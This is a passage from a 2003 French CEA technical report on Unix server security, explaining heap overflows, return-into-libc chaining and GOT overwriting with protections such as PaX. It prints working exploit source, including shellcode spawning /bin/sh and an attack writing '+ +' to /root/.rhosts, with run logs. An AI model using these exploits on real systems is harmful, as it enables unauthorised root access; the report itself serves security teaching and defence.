CEA/DAM DIRECTION ILE-DE
Transcription
CEA/DAM DIRECTION ILE-DE
CEA-R-6037 ISSN 0429 - 3460 L ’ É N E R G I E A T O M I Q U E ÉTAT DE L’ART DE LA SÉCURITÉ DES SERVEURS ORIENTÉS INTERNET VOLUME 2 par Arnaud GUIGNARD CEA/DAM - DIRECTION DÉPARTEMENT SCIENCES ET CELLULE ILE-DE-FRANCE DE LA SIMULATION L’INFORMATION TECHNIQUE DE SÉCURITÉ INFORMATIQUE DIRECTION 2003 À RAPPORT CEA/DAM DIRECTION ILE-DE-FRANCE C O M M I S S A R I A T DES SYSTEMES D’INFORMATION C E A / S A C L AY 9 1 1 9 1 G I F - S U R - Y V E T T E C E D E X F R A N C E RAPPORT CEA-R-6037 - Rapport CEA-R-6037 - CEA/DAM – Direction Ile-de-France Département Sciences de la Simulation et l’Information Cellule Technique de Sécurité Informatique ÉTAT DE L’ART DE LA SÉCURITÉ DES SERVEURS ORIENTÉS INTERNET VOLUME 2 par Arnaud GUIGNARD - Septembre 2003 - RAPPORT CEA-R-6037 – Arnaud GUIGNARD «Etat de l’art de la sécurité des serveurs orientés Internet-Volume 2» Résumé - La croissance rapide d’Internet a entraîné des problèmes de sécurité majeurs. Vers, virii, bombes logiques, exploits, etc. se propagent de plus en plus rapidement et leur faire face devient une gageure quotidienne. Le présent document a pour but de mettre en lumière certaines techniques d’attaque et les moyens de protection associés. C’est un exposé technique visant les systèmes Unix découpé en deux parties : Un retour sur les buffer overflows qui traite en détail de méthodes simplement évoquées dans le premier volume : comment un attaquant parvient à prendre le contrôle d’un système ? Les moyens dont dispose un agresseur pour se dissimuler au sein d’un système. Seront abordés l’effacement de la présence dans les fichiers de logs, les rootkits, etc. 2003 – Commissariat à l’Énergie Atomique – France RAPPORT CEA-R-6037 – Arnaud GUIGNARD «Internet Servers Security – part 2» Abstract - The fast growth of the Internet has raised new major security problems. Worms, virii, logic bombs, exploits, etc. spread faster and faster. Thus, dealing with them has become a daily task. This document sheds the light on some common attacks and measures to protect against them. It is a technical paper targeting Unix systems and divided into two parts : First, we focus on new buffer overflow techniques : how an attacker gain access to a system ? Then, system stealth stands for the last stage for each attacker : how to be and to keep on being invisible ? Here, we analyze rootkits, means to delete data, … 2003 – Commissariat à l’Énergie Atomique – France Etat de l’art de la sécurité des serveurs orientés Internet Volume 2 Arnaud Guignard CEA/DIF/DSSI/CTSI Dernière révision : 03/11/03 Table des matières 1 INTRODUCTION.............................................................................................................. 3 2 RETOUR SUR LES BUFFER OVERFLOWS ......................................................................... 4 2.1 LES HEAP OVERFLOWS ........................................................................................................... 4 2.1.1 Introduction.................................................................................................................. 4 2.1.2 Mise en pratique ........................................................................................................... 4 2.1.2.1 2.1.2.2 Première approche............................................................................................................. 4 Exécution de code.............................................................................................................. 9 2.4.2.1 2.4.2.2 2.4.2.3 2.4.2.4 Introduction .................................................................................................................... 22 Plantage d’un programme................................................................................................. 23 Voir la mémoire ............................................................................................................... 23 Ecrire dans la mémoire ..................................................................................................... 24 2.1.3 Mesures de prévention ................................................................................................ 12 2.2 LES ATTAQUES DE TYPE RETURN-INTO-LIBC ............................................................................... 12 2.2.1 Explications ................................................................................................................ 12 2.2.2 Protection................................................................................................................... 16 2.3 LA PROCEDURE LINKING TABLE/GLOBAL OFFSET TABLE ............................................................... 17 2.3.1 La théorie ................................................................................................................... 17 2.3.2 La pratique ................................................................................................................. 17 2.4 LES ATTAQUES DE TYPE FORMAT STRING .................................................................................. 21 2.4.1 Les fonctions de formatage.......................................................................................... 21 2.4.2 Les vulnérabilités ........................................................................................................ 22 2.4.3 Protection................................................................................................................... 28 3 LA FURTIVITE SYSTEME ............................................................................................... 29 3.1 ATTAQUE ......................................................................................................................... 29 3.1.1 L’épuration des fichiers de logs .................................................................................... 29 3.1.2 La pose d’un cheval de Troie ....................................................................................... 31 3.1.3 L’installation d’un rootkit.............................................................................................. 33 3.1.3.1 3.1.3.2 3.1.3.3 3.1.3.4 3.1.3.5 Les rootkits simples.......................................................................................................... 33 Utilisation des bibliothèques dynamiques............................................................................ 35 Les Linux Kernel Rootkits .................................................................................................. 36 Modification de /proc........................................................................................................ 42 Injection dans /dev/kmem ................................................................................................ 44 3.2 PREVENTION ..................................................................................................................... 44 3.2.1 Les fichiers de logs...................................................................................................... 45 3.2.2 Les rootkits................................................................................................................. 45 3.3 DETECTION ...................................................................................................................... 45 3.3.1 Les chevaux de Troie .................................................................................................. 45 3.3.2 Les rootkits................................................................................................................. 46 4 CONCLUSION................................................................................................................ 47 5 ANNEXES ...................................................................................................................... 48 5.1 BIBLIOGRAPHIE ................................................................................................................. 48 5.1.1 Livres ......................................................................................................................... 48 5.1.2 Articles ....................................................................................................................... 48 5.2 SITES INTERNET ................................................................................................................ 50 2 1 Introduction Le volume 1 de ce document se présentait sous la forme d’un rapport de stage et avait pour but de mettre en lumière un certain nombre d’attaques visant les serveurs offrant des services identiques à ceux rencontrés sur Internet. Il s’articulait en deux parties : la première, essentiellement théorique, destinée à donner une vue générale de la sécurité des serveurs à des personnes peu sensibilisées, et la seconde, plus pratique et nécessitant un certain savoir technique, qui fournissait un grand nombre d’informations pointues afin que chacun puisse comprendre précisément les moyens à disposition des hackers. Dans cette seconde phase des méthodes de protection et de détection. étaient également indiquées. Le présent volume délaisse la partie théorique et va expliquer en détail des points abordés succintement dans le tome précédent ainsi qu’exposer de nouveaux concepts, notamment sur la furtivité système. Le parti pris est toujours l’analyse des systèmes de type Unix (Linux en particulier), car ils permettent de reproduire facilement et à peu de frais des concepts généraux. Cependant, un autre volume pourra éventuellement être centré sur les machines de type Windows. 3 2 Retour sur les buffer overflows 2.1 Les heap overflows 2.1.1 Introduction Nous avons vu dans le premier volume de ce document comment réaliser un débordement de tampon débouchant sur l’exécution d’un code présent dans la pile. Nous avons évoqué la possibilité de faire de même dans le tas. La motivation sous-jacente de l’attaquant est l’impossibilité de réaliser des stack overflows du fait de la présence d’une protection adéquate (PaX pour Linux, les patchs contre les débordements de tampons implémentés pour plusieurs architectures dans OpenBSD 3.2). Nous proposons ici de détailler le fonctionnement des heap overflows. Nous ne rappellerons pas ici les bases de l’organisation de la mémoire pour les programmes Linux et vous conseillons de relire la partie 3.2.1.1 du précédent rapport. Les sections qui nous intéressent ici sont, bien entendu, le tas (heap) mais aussi data et bss. 2.1.2 Mise en pratique 2.1.2.1 Première approche Voyons un premier exemple très simple pour illustrer notre propos : #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <string.h> #define BUFSIZE 16 #define OVERSIZE 8 int main() { u_long diff; char *buf1 = malloc(BUFSIZE), *buf2 = malloc(BUFSIZE); diff = (u_long) buf2 – (u_long) buf1; printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff); memset(buf2, 'A', BUFSIZE-1); buf2[BUFSIZE-1] = '\0'; printf("before overflow: buf2 = %s\n", buf2); memset(buf1, 'B', (u_int) (diff + OVERSIZE)); printf("after overflow: buf2 = %s\n", buf2); return 0; } 4 Puis on l’exécute : arno@vador heap $ ./ex1 buf1 = 0x8049638, buf2 = 0x8049650, diff = 0x18 bytes before overflow: buf2 = AAAAAAAAAAAAAAA after overflow: buf2 = BBBBBBBBAAAAAAA L’explication est élémentaire : le premier tableau a débordé dans le second comme dans le cas des stack overflows. La seule différence pour l’instant se situe à l’endroit du débordement : dans le tas et non la pile. Pour réaliser la même chose dans la section bss, il suffit de remplacer la ligne suivante : char *buf = malloc(BUFSIZE); par : static char buf[BUFSIZE]; Passons à un exemple un peu différent, mais toujours aussi simple : #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <string.h> #define BUFSIZE #define ADDRLEN 16 8 int main() { u_long diff; static char buf[BUFSIZE], *bufptr; bufptr = buf; diff = (u_long) &bufptr – (u_long) buf; printf("bufptr (%p) = %p, buf = %p, diff = 0x%x bytes (%d)\n", &bufptr, bufptr, buf, diff, diff); memset(buf, 'A', (u_int)(diff+ADDRLEN)); printf("bufptr (%p) = %p, buf = %p, diff = 0x%x bytes (%d)\n", &bufptr, bufptr, buf, diff, diff); return 0; } 5 Son exécution : arno@vador heap $ ./ex2 bufptr (0x80495b0) = 0x80495b0, buf = 0x80495a0, diff = 0x10 (16) bytes bufptr (0x80495b0) = 0x41414141, buf = 0x80495a0, diff = 0x10 (16) bytes Nous avons réussi à modifier la valeur pointée par bufptr. Quelles sont les applications possibles ? On peut, par exemple, remplacer la valeur d’un pointeur sur un nom de fichier temporaire par une valeur plus intéressante, celle du premier argument de notre programme (on remplace alors le nom du fichier). Pour rendre tout ceci plus concret, nous reprenons l’exemple fourni dans [11]. Voici le programme vulnérable : #include #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <string.h> <errno.h> #define ERROR #define BUFSIZE -1 16 int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; if (argc <= 1) { fprintf(stderr, "usage: %s <garbage>\n", argv[0]); exit(ERROR); } tmpfile = "/tmp/vulprog.tmp"; printf("before: tmpfile = %s\n", tmpfile); printf("Enter one line of data to put in %s: ", tmpfile); gets(buf); printf("\nafter: tmpfile = %s\n", tmpfile); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); exit(ERROR); } fputs(buf, tmpfd); fclose(tmpfd); return 0; } 6 L’exploit proposé par Matt Conover est très simple : • • • • Il passe des arguments au programme vulnérable Celui-ci s’attend à ce qu’on rentre une ligne de texte qui va être stockée dans le fichier temporaire. Cependant, grâce à notre dépassement de tampon, on remplace le nom du fichier temporaire en faisant pointer le pointeur sur argv[1] (qui aura pour valeur /root/.rhosts) Il écrira alors dans le fichier - normalement temporaire – la ligne suivante : + + # chaîne composée de ε x ‘A’ | adresse de argv[1] où : ε = adresse du fichier temporaire – adresse du buffer On utilise « + + » pour autoriser tous les hôtes à se connecter sur la machine avec le compte root, suivi de « # » (le caractère des commentaires) pour que notre chaîne soit mal interprétée par les programmes s’appuyant sur .rhosts. Voici le source : #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <string.h> #define ERROR -1 #define DIFF 16 /* estimation de la distance entre buf et tmpfile */ #define VULPROG "./vulprog1" #define VULFILE "/root/.rhosts" /* le fichier où sera stocké buf */ u_long getesp() /* récupère l’adresse du haut de la pile */ { /* on l’utilise pour calculer l’adresse de argv1 */ __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { u_long addr; register int i; int mainbufsize; char *mainbuf, buf[DIFF+6+1]; if (argc <= 1) { fprintf(stderr, "usage: %s <offset>\n", argv[0]); exit(ERROR); } memset(buf, 0, sizeof(buf)); strcpy(buf, "+ +\t# "); memset(buf + strlen(buf), 'A', DIFF); addr = getesp() + atoi(argv[1]); 7 /* pour mettre l’adresse dans un format little endian */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long) addr >> (i * 8) & 255); mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, sizeof(mainbuf)); snprintf(mainbuf, mainbufsize, - 1, "echo '%s' | %s %s\n", buf, VULPROG, VULFILE); printf("overflowing tmpaddr to point to %p, check %s after.\n\n", addr, VULFILE); system(mainbuf); return 0; } Voyons son fonctionnement (les essais successifs infructueux ne sont pas représentés) : root@vador heap # ./exploit1 520 overflowing tmpaddr to point to 0xbffffab4, check /root/.rhosts after before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in / vulprog.tmp: after: tmpfile = og1 root@vador heap # ./exploit1 524 overflowing tmpaddr to point to 0xbffffab8, check /root/.rhosts after before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in / vulprog.tmp: after: tmpfile = /root/.rhosts Que fait cette exploit grâce à la chaîne passée ? Il fait simplement déborder le buffer utilisé par la fonction gets(). Il copie dedans la chaîne spéciale vue ci-dessus. Le but final de celle-ci est de remplacer le pointeur pointant sur le nom du fichier temporaire par l’adresse de notre argument qui sera /root/.rhosts. Avant cela elle écrit « + + # », puis un certain nombre de « A » jusqu’à trouver avec précision le début du pointeur (cette manœuvre est ici simple car nous avons accès au source du programme. Pendant l’écriture d’un véritable exploit, cette technique est indispensable). L’avantage de cette méthode est qu’elle ne nécessite pas la présence d’un tas exécutable et qu’elle est très facilement portable sur un système d’exploitation et/ou une architecture différent(e/s). Mais les heap overflows ne se limitent pas à des remplacements de variables : ils peuvent, tout comme les stack overflows, exécuter du code arbitraire dans le tas et non dans la pile. 8 2.1.2.2 Exécution de code Une facilité du langage C (entre autres) qu’utilisent beaucoup de programmeurs est la création de pointeurs de fonction. Un pointeur de fonction facilite la programmation en autorisant la modification dynamique d’une fonction à appeler. Typiquement, il se présente sous la forme suivante : int (*funcptr)(args); On peut donc modifier la valeur de ce pointeur en la remplaçant par : 1. La valeur de l’adresse de notre shellcode stockée dans une variable d’environnement, dans argv[1], …1 Nous avons alors besoin d’une pile exécutable. 2. La valeur d’un buffer alloué dynamiquement dont nous avons remplacé la valeur par notre shellcode. Ici un tas exécutable est nécessaire. 3. D’autres méthodes que nous verrons dans les paragraphes suivants. Lors de l’appel à cette fonction, notre shellcode s’exécutera en lieu et place de la fonction prévue. Nous allons seulement nous intéresser aux points 1 et 2, le dernier étant vu plus précisément ailleurs dans ce document. Notre programme vulnérable est le suivant : #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <string.h> #define ERROR #define BUFSIZE -1 64 int goodfunc(const char *str); int main(int argc, char **argv) { static char buf[BUFSIZE]; static int (*funcptr) (const char *str); if (argc <= 2) { fprintf(stderr, "usage: %s <buf> <goodfunc arg>\n", argv[0]); exit(ERROR); } printf("stack method: argv[2] = %p\n", argv[2]); printf("heap offset method: buf = %p\n\n", buf); funcptr = (int (*)(const char *str)) goodfunc; printf("before overflow: funcptr points to %p\n", funcptr); memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1])); 1 Cette technique a été couverte en détail dans le premier volume de ce document. 9 printf("after overflow: funcptr points to %p\n", funcptr); (void) (*funcptr)(argv[2]); return 0; } int goodfunc(const char *str) { printf("\nHi, I’m a good function. I was passed: %s\n", str); return 0; } L’exploit permet de choisir entre les méthodes 1 et 2 : #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <string.h> #define ERROR -1 #define BUFSIZE 64 /* estimation de la distance entre buf et funcptr */ #define VULPROG "./vulprog" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; u_long getesp() /* récupère l’adresse du haut de la pile */ { __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { register int i; u_long sysaddr; char buf[BUFSIZE + sizeof(u_long) + 1]; if (argc <= 2) { fprintf(stderr, "usage: %s <offset> <heap | stack>\n", argv[0]); exit(ERROR); } if (strncmp(argv[2], "stack", 5) == 0) { printf("using stack for shellcode (requires exec. stack)\n"); sysaddr = getesp() + atoi(argv[1]); printf("using 0x%lx as our argv[1] address\n\n", sysaddr); memset(buf, 'A', BUFSIZE + sizeof(u_long)); } else { printf("using heap buffer for shellcode (requires exec. heap)\n"); 10 sysaddr = (u_long) sbrk(0) – atoi(argv[1]); printf("using 0x%lx as our buffer’s address\n\n", sysaddr); if (BUFSIZE + 4 + 1 < strlen(shellcode)) { fprintf(stderr, "error: buffer is too small for shellcode " "(min. = %d bytes)\n", strlen(shellcode)); } strcpy(buf, shellcode); memset(buf, + strlen(shellcode), 'A', BUFSIZE – strlen(shellcode) + sizeof(u_long)); } buf[BUFSIZE + sizeof(u_long)] = '\0'; for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long) sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } Et l’exécution : 1. Méthode de la pile arno@vador heap # ./exploit 554 stack using stack for shellcode (requires exec. stack) using 0xbffff9b6 as our argv[1] address stack method: argv[2] = 0xbffff99f heap offset method: buf = 0x8049840 before overflow: funcptr points to 0x8048556 after overflow: funcptr points to 0xbffff9b6 sh-2.05b$ 2. Méthode du tas arno@vador heap # ./exploit 600 heap using heap buffer for shellcode (requires exec. heap) using 0x804983c as our buffer’s address stack method: argv[2] = 0xbffff99f heap offset method: buf = 0x8049840 before overflow: funcptr points to 0x8048556 after overflow: funcptr points to 0x804983c sh-2.05b$ 11 Ces exploits ne nécessitent pas de commentaire particulier car leur fonctionnement est identique aux exemples vus précédemment (notamment dans le volume 1). Pour plus d’informations, référez-vous au document [11] (dont tous nos exemples ont été extraits). 2.1.3 Mesures de prévention La première mesure est la même que celle vue dans le précédent volume, c’est à dire l’écriture de programmes propres ! Tous les programmeurs doivent être sensibilisés à de tels problèmes et, en s’astreignant à une programmation soignée et rigoureuse, la plupart des trous de sécurité n’existeront plus. Bien sûr, cette recommandation est utopiste car peu de programmeurs connaissent les dangers sous-jacents à une mauvaise programmation. Une autre solution beaucoup plus réaliste est l’utilisation du patch PaX pour le noyau Linux (http://pageexec.virtualave.net/). En effet, il permet de rendre non exécutable aussi bien la pile que le tas et offre des améliorations que nous verrons dans les paragraphes ci-dessous. On peut également installer le patch grsecurity (http://www.grsecurity.net) intégrant PaX, ainsi que de nombreuses fonctionnalités (par exemple , des listes de contrôles d’accès – Access Control Lists ACL -très poussées). 2.2 Les attaques de type return-into-libc 2.2.1 Explications Ces attaques sont à la mode car très simples à réaliser, ne nécessitant ni pile, ni tas exécutables et les méthodes de protection sont peu nombreuses. Elles utilisent toujours les principes de débordement de tampon, mais, au lieu de faire exécuter un shellcode (qui doit alors être stocké dans un endroit exécutable suivant les patchs de sécurité installés), elles préfèrent l’appel d’une fonction de la bibliothèque C standard (appelée la libc). Il est alors possible de faire exécuter la fonction de son choix (system("/bin/sh") par exemple). Cet appel se fait en retournant littéralement dans la libc : on fait pointer une adresse de retour vers une adresse de la libc. On peut alors réutiliser l’exemple vu au paragraphe précédent en remplaçant la valeur du pointeur de fonction par l’adresse de system(). L’exploit devient alors : #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <string.h> #define ERROR -1 #define BUFSIZE 64 #define VULPROG "./vulprog" #define CMD "/bin/sh" int main(int argc, char **argv) { register int i; u_long sysaddr; static char buf[BUFSIZE + sizeof(u_long) + 1] = {0}; 12 if (argc <= 1) { fprintf(stderr, "usage: %s <offset>\n", argv[0]); fprintf(stderr, "[offset = estimated system() offset]\n\n"); exit(ERROR); } sysaddr = (u_long)&system - atoi(argv[1]); printf("trying system() at 0x%lx\n\n", sysaddr); memset(buf, 'A', BUFSIZE); for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long) sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, CMD, NULL); return 0; } On passe comme premier paramètre un offset. En effet, l’adresse de system() dans notre programme vulnérable n’est pas exactement la même que celle de notre exploit, mais elles sont toujours très proches (on a rajouté dans le programme vulnérable l’affichage de l’adresse de system()) : arno@vador heap # ./exploit2 8 trying system() at 0x8048368 system() method: system() = 0x8048364 stack method: argv[2] = 0xbffff99f heap offset method: buf = 0x8049840 before overflow: funcptr points to 0x80485ac after overflow: funcptr points to 0x8048368 sh-2.05b$ Lorsque l’on ne dispose pas d’un pointeur de fonction, on peut toujours utiliser la méthode d’écrasement de l’adresse de retour1. Le premier exploit posté et l’explication de cette méthode se trouve dans [8]. 1 cf. volume 1 - § 3.2.1.2 13 Voici le changement dans notre pile : bas de la mémoire buffer haut de la mémoire sfp ret ... haut de la pile bas de la pile Figure 1 - Etat de la pile avant le buffer overflow bas de la mémoire haut de la mémoire buffer "débordé" fonction de la libc dummy haut de la pile arg 1 arg 2 bas de la pile Figure 2 - Etat de la pile après le buffer overflow Notre débordement de tampon va écraser la valeur de retour de la fonction du programme vulnérable, et la remplacer par l’adresse d’une fonction de la libc (c’est typiquement celle de system()). Ses arguments ("/bin/sh") sont situés après une valeur dummy, qui est l’adresse de retour de la fonction de la libc (sa valeur est quelconque). Une méthode encore plus intéressante, développée dans [7], autorise l’exécution de non pas une mais plusieurs fonctions. On peut ainsi redonner des droits à un shell avant de l’exécuter (comme c’est le cas pour bash qui diminue ses privilèges). Deux cas peuvent se présenter : 1. Le programme vulnérable a été compilé avec l’option –fomit-frame-pointer, auquel cas l’épilogue de son code est de la forme : eplg: addl ret $LOCAL_VARS_SIZE, %esp Ces deux instructions réalisent le déplacement du haut de la pile en ajoutant la taille des variables locales, puis le retour du programme. 14 On peut donc réussir à modifier le déroulement d’un programme et à exécuter plusieurs fonctions. L’état de la pile est alors : haut de la pile buffer "débordé" bas de la pile f1 eplg arg1 de f1 arg2 de f1 ... argn de f1 padding f2 dummy arg1 de f2 ... LOCAL_VAR_SIZE Figure 3 - Etat de la pile après le buffer overflow f1 et f2 sont les adresses des deux fonctions que l’on souhaite exécuter et la taille du padding est choisie de telle sorte qu’ajoutée à la taille totale des arguments de f1 on obtienne LOCAL_VAR_SIZE. Nous écrasons la valeur de retour de la fonction vulnérable par f1. Comment fonctionne ce mécanisme ? Lorsque la fonction attaquée se termine, elle retourne dans f1 qui trouve ses arguments au bon endroit. Puis f1 retourne à son tour dans f2, etc. (pour exécuter plus de deux fonctions, il suffit de remplacer la valeur de dummy par celle de l’épilogue : eplg) 2. Le programme a été compilé sans l’option –fomit-frame-pointer. Son épilogue est alors : leaveret: leave ret 15 C’est la situation la plus courante. Expliquons le principe par un schéma : buffer "débordé" saved frame pointer adresse de retour de la fonction vulnérable faux_ebp0 leaveret première page faux_ebp1 f1 leaveret arg1 de f1 arg2 de f1 seconde page faux_ebp2 f2 leaveret arg1 de f2 arg2 de f2 Figure 4 - Principe de return into libc utilisant le leaveret faux_ebp0 est égal à l’adresse de la première page, faux_ebp1 à celle de la deuxième page, … Le procédé est très simple : 1. L’épilogue de la fonction vulnérable (leave; ret) charge faux_ebp0 dans le registre ebp. Elle retourne ensuite dans leaveret. 2. Les deux instructions suivantes (encore leave; ret) mettent faux_ebp1 dans le registre ebp et retourne dans f1 qui trouve les arguments nécessaires. 3. f1 s’exécute puis retourne. On répète ensuite les étapes 2 et 3 en substituant f2, f3, …, fn à f1. 2.2.2 Protection Comme nous l’avons dit, les moyens de protection contre de telles attaques sont peu nombreux. En effet, les solutions sont toujours les mêmes : PaX intégré ou non dans grsecurity. Afin de lutter contre ces agressions, il utilise un principe de génération aléatoire de l’adresse des fonctions de la libc (en utilisant mmap()). Cette adresse contient nécessairement un octet nul rendant très difficile l’utilisation des return-into-libc par des recopie de chaînes de caractères. 16 2.3 La Procedure Linking Table/Global Offset Table 2.3.1 La théorie La Procedure Linking Table est utilisée dans les programmes ELF pour rediriger les positionindependent function calls vers des adresses absolues. En clair, les appels à des fonctions présentes dans des bibliothèques partagées sont traitées spécifiquement dans les exécutables. En effet, lors de la compilation ces fonctions ne peuvent pas être liées puisqu’elles ne sont accessibles qu’au moment de l’exécution. La PLT a donc été inventée pour résoudre ce problème. La PLT renferme un morceau de code qui va appeler l’éditeur de liens dynamique pour localiser ces routines. Typiquement au lieu d’appeler la véritable routine de la bibliothèque partagée l’exécutable appelle une entrée de la PLT. C’est ensuite à elle de résoudre le symbole et de faire les bons choix. La routine de la PLT est de la forme : .PLT1: jmp pushl jmp *name1_in_GOT $offset .PLT0@PC Ici se trouve le point faible que nous allons exploiter : le premier jump pointe normalement vers l’adresse du pushl qui suit (cette adresse est la valeur présente dans la Global Offset Table – GOT – à l’adresse name1_in_GOT). Si nous changeons la valeur pointée par name1_in_GOT nous pourrons alors exécuter ce que l’on désire : shellcode, return-into-libc, … 2.3.2 La pratique Nous n’allons pas montrer un programme vulnérable et comment l’exploiter. Nous allons seulement expliquer comment modifier la valeur pointée par name1_in_GOT pour faire exécuter ce que l’on désire. Notre programme de départ est le suivant : #include <stdio.h> #include <stdlib.h> #define EXIT 0x08049000 void never(void); int main(int argc, char **argv) { int *p; printf("never() is at : %p\n", never); p = (int *) EXIT; *p = 0x08048000; exit(EXIT_SUCCESS); } void never(void) 17 { system("/bin/sh"); } Le but va être de modifier la valeur de la GOT utilisée lors de l’appel de la fonction exit() pour exécuter la fonction never() théoriquement jamais appelée. Une variable globale EXIT stocke l’adresse de exit_in_GOT ; on l’utilise ensuite pour initialiser un pointeur et changer la valeur pointée par p par l’adresse de never(). Compilons et exécutons ce programme : arno@valium:~/test/plt$ gcc -o main main.c arno@valium:~/test/plt$ ./main never() is at : 0x80483dc arno@valium:~/test/plt$ Le programme nous renvoie alors l’adresse de notre fonction never(), mais nous ne connaissons pas l’adresse de exit_in_GOT. Nous utilisons le debugger gdb pour la trouver : arno@valium:~/test/plt$ gdb ./main GNU gdb 5.2.1-2mdk (Mandrake Linux) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux-gnu"... (gdb) disassemble main Dump of assembler code for function main: 0x804839c <main>: push %ebp 0x804839d <main+1>: mov %esp,%ebp 0x804839f <main+3>: sub $0x8,%esp 0x80483a2 <main+6>: and $0xfffffff0,%esp 0x80483a5 <main+9>: mov $0x0,%eax 0x80483aa <main+14>: sub %eax,%esp 0x80483ac <main+16>: sub $0x8,%esp 0x80483af <main+19>: push $0x80483dc 0x80483b4 <main+24>: push $0x8048448 0x80483b9 <main+29>: call 0x80482c0 <printf> 0x80483be <main+34>: add $0x10,%esp 0x80483c1 <main+37>: movl $0x8049000,0xfffffffc(%ebp) 0x80483c8 <main+44>: mov 0xfffffffc(%ebp),%eax 0x80483cb <main+47>: movl $0x8048000,(%eax) 0x80483d1 <main+53>: sub $0xc,%esp 0x80483d4 <main+56>: push $0x0 0x80483d6 <main+58>: call 0x80482d0 <exit> 0x80483db <main+63>: nop End of assembler dump. (gdb) disassemble exit Dump of assembler code for function exit: 0x80482d0 <exit>: jmp *0x8049568 0x80482d6 <exit+6>: push $0x18 18 0x80482db <exit+11>: jmp 0x8048290 <_init+24> End of assembler dump. (gdb) disassemble never Dump of assembler code for function never: 0x80483dc <never>: push %ebp 0x80483dd <never+1>: mov %esp,%ebp 0x80483df <never+3>: sub $0x8,%esp 0x80483e2 <never+6>: sub $0xc,%esp 0x80483e5 <never+9>: push $0x804845c 0x80483ea <never+14>: call 0x80482a0 <system> 0x80483ef <never+19>: add $0x10,%esp 0x80483f2 <never+22>: leave 0x80483f3 <never+23>: ret 0x80483f4 <never+24>: nop 0x80483f5 <never+25>: nop 0x80483f6 <never+26>: nop 0x80483f7 <never+27>: nop 0x80483f8 <never+28>: nop 0x80483f9 <never+29>: nop 0x80483fa <never+30>: nop 0x80483fb <never+31>: nop 0x80483fc <never+32>: nop 0x80483fd <never+33>: nop 0x80483fe <never+34>: nop 0x80483ff <never+35>: nop End of assembler dump. (gdb) q arno@valium:~/test/plt$ La première ligne en gras montre seulement l’appel à la fonction exit(). En la désassemblant on retrouve le schéma vu dans le paragraphe précédent et on peut déterminer l’adresse de exit_in_GOT. Enfin, la dernière ligne en gras montre que même sans afficher l’adresse de never() dans notre programme on peut toujours la trouver facilement. Les valeurs utiles ayant été identifiées, notre programme devient : #include <stdio.h> #include <stdlib.h> #define EXIT 0x08049568 void never(void); int main(int argc, char **argv) { int *p; printf("never() is at : %p\n", never); p = (int *) EXIT; *p = 0x080483dc; exit(EXIT_SUCCESS); } 19 void never(void) { system("/bin/sh"); } Compilons et exécutons-le : arno@valium:~/test/plt$ gcc -o main main.c arno@valium:~/test/plt$ ./main never() is at : 0x80483dc sh-2.05b$ exit sh-2.05b$ exit Segmentation fault (core dumped) arno@valium:~/test/plt$ Des effets de bord se produisent lors de la sortie du shell invoquée par never() car le programme ne suit plus son flot d’instructions normal. Pour utiliser un tel principe dans un programme vulnérable il suffit que ce dernier offre la possibilité de changer un pointeur puis d’écrire à l’endroit pointé par ce pointeur (typiquement une fonction strcpy(), strncpy() …). Pour plus d’informations voir [23] et [25]. 20 2.4 Les attaques de type format string Cette partie est essentiellement basée sur [12] qui constitue le document de référence sur les format strings. Cette attaque est d’une simplicité enfantine mais de moins en moins exploitable. En effet, comme nous allons le voir par la suite, elle est due à des méthodes de programmation peu soignées et est facilement identifiable par des outils automatisés. Elle a cependant représenté l’une des plus grandes menaces lors de sa publication et de son utilisation sur plusieurs programmes vulnérables largement répandus. Avant de voir la réalisation d’une telle attaque, faisons un rappel sur les fonctions de formatage en C. 2.4.1 Les fonctions de formatage Les fonctions de formatage en C servent principalement à transformer des types C en chaîne de caractères. Les plus répandues sont celles de la famille *printf (printf, sprintf, vprintf, …), mais aussi setproctitle, syslog, err*, warn*, … Toutes ses fonctions ont le même prototype : un premier argument sous la forme d’une chaîne de caractères (appelée la chaîne de format, qui indique comment les données doivent être converties) et un ou plusieurs arguments contenant les données. On a par exemple : printf("Nombre total : %d\n", 10); Ici, la chaîne est "Nombre total : %d\n" où ‘%d’ est un paramètre de format qui sera remplacé lors de l’affichage par l’argument 10. Voici une liste non exhaustive de certains paramètres de format : Paramètre Sortie Type attendu Passé par %d Entier signé Int Valeur %u Entier non signé Unsigned int Valeur %x Héxadécimal Unsigned int Valeur %s Chaîne de caractères (const) (unsigned) char * Référence %n Nombre d’octets déjà écrits * int Référence Le caractère ‘\’ permet d’échapper certains caractères spéciaux. Ainsi le ‘\n’ dans l’exemple sera interprété lors de l’affichage par un retour à la ligne. Cette interprétation n’est pas faîte par la fonction de formatage (printf ici) mais par le compilateur lors de la compilation. Ainsi l’exemple 